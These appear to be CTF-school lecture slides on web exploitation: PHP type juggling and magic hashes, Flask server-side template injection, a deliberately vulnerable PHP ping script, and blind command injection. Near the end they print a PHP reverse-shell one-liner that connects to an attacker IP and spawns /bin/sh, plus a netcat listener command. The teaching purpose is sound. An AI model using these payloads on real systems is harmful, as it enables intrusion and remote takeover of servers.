Web Application Exploitation 3

PHP

Server-Side Template Injection (SSTI)

Blind Attack

DISCLAIMER

- All of the material in this school can be used for good (testing, research, educating), but also for bad
- We use our skills and knowledge responsibly and ethically
- We recommend you do the same
- We are not responsible for anything you do as a result of these lessons

Server side languages

- PHP
- By far the most common, >75% of web today
- Python (with Flask/Django framework)
- Growing in popularity
- JavaScript (NodeJS) - popular
- Today: PHP and Python (ish)

PHP

Server Side Template Injection (SSTI)

Blind Injections

PHP

- Stands for PHP: Hypertext Preprocessor
- Stands for PHP: Hypertext Preprocessor Hypertext Preprocessor
- So vulnerable in so many ways
- Very easy to make mistakes, used by enormous amounts of junior developers
-

PHP: Equals

- PHP has two equals operators - == and ===
- == checks value whereas === checks value AND type
- == tends to be vulnerable to exploitation
- Login form:
  - If $user_input == $supersecure1337password: login
  - Numerous inputs will evaluate to true and login, including TRUE and 0
- Equality table:
  - http://php.net/manual/en/types.comparisons.php#types.comparisions-loose

PHP: Type Juggling

- PHP does not require explicit type definition
- Types are inferred from context
  - If $user_input == “PASSWORD”: login
  - Let’s say we set $user_input = 0
  - PHP tries to convert “PASSWORD” into an integer (type juggling)
  - Attempts to extract a number from the beginning of the string
  - There are none, so PHP will treat the “PASSWORD” as 0
- This kind of behaviour exists everywhere in PHP
- Inputting arrays (param[]= or param=array(2)) can lead to all sorts of fun
- When in doubt, throw types at it

PHP: Magic Hashes

- Try this out:
  - if (hash("md5", "Password147186970!") == hash("md5", "240610708")) { echo 'php pls';};
  - if (hash("md5", "Password147186970!") == hash("md5", "240610709")) { echo 'php pls';};
- First one evaluates to true, second one does not
- Type juggling!
- 0e153958235710973524115407854157 == 0e462097431906509019562988736854
- As both of these begin with 0e PHP treats them as floats

Analysing PHP

- Google all the functions
- Try arrays, floats, negative number, etc
- Look out for ==
- Set up a test environment - helps immensely
- Recommend Apache + PHP

PHP

Server Side Template Injection (SSTI)

Blind Injections

Templates

- Templates reuse static web elements while using dynamic elements from request
- Templating engine handles all of this
- Templating engines include Flask for Python, ERB for Ruby etc
- 9/10 CTF challenges are on Flask
- User profile: {{ user.name }} , {{ user.email }}

Server Side Template Injection

- Let’s say we are signing up to a form:

```
<html>
<h1> Here is your user information: </h1>
<br>
{{ user.name }}
{{ user.email }}
<br>
</html>
```

- What happens if we have something like {{ user.name }} as our email?
- Flask will fetch the value of user.email, which = {{ user.name }}
- And will therefore populate user.email with our user name

SSTI -> Remote Code Execution

- {{ config }} fetches config attribute - sometime flag/secret token/useful info is in here
- Pyjail at this point
- Goal is usually to access os/subprocess modules, os.system and subprocess.popen execute code
- Sometimes in __globals__.os, __builtins__.__dict__[“__import__”]
- Enumerate through objects and attributes until you find something that works
- Harder challenges require a lot of research
- .subclasses() lists classes, url_for is also useful

PHP

Server Side Template Injection (SSTI)

Blind Injections

Command Injection

```
<?php

$ip = $_POST['name'];

$res = system('ping -c 4 '.$ip,$resy);

if ($resy == "2") {echo "Not an IP";}

echo $resy;

?>
```

Blind Attacks

- Sometimes you can’t see output from Command Injection, SQL Injection, XPath Injection etc
- Still possible to influence behaviour of what we are attacking
- Command Injection:
  - Inject sleep(10)
  - Server will wait 10 seconds before replying
  - We know we have RCE
- SQL, XPath:
  - It is possible to read databases blindly
  - Not until next year

Blind Command Injection (Linux)

- Usually bash
- Useful tests include:
  - Sleep (X) / sleep X
  - Curl to our server and sniff it with tcpdump
  - Netcat (nc)
  - Ping
- Ultimate goal is usually reverse shell (later)

Blind Command Injection (Windows)

- Nope
- Pain and sufferance
- Come back next year

Reverse Shell

- Get our victim’s computer to connect to our attacking computer
- Open up a listener on our machine:
  - Nc -lvp 1337
- Make our victim connect to that port (execute code):
- php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'
- Need a publicly exposed computer to act as server for this
- Need a server? Free GitHub student pack gives you cloud credits (DO, AWS)
- Essentially it means that we have a terminal running on the victim’s computer
- PentestMonkey has an amazing cheat sheet for reverse shell commands

Summary

- PHP does weird and illogical things and we can exploit this
- If we can see a value we input reflected back at us in a Flask app = possible SSTI (also probable XSS but this will be another lesson)
- Even if we can’t see output from our attacks we can still manipulate behaviour and this gives us information

Workshop

https://school.sigint.mx/ - 6 Web challs to try out

http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet - Reverse shells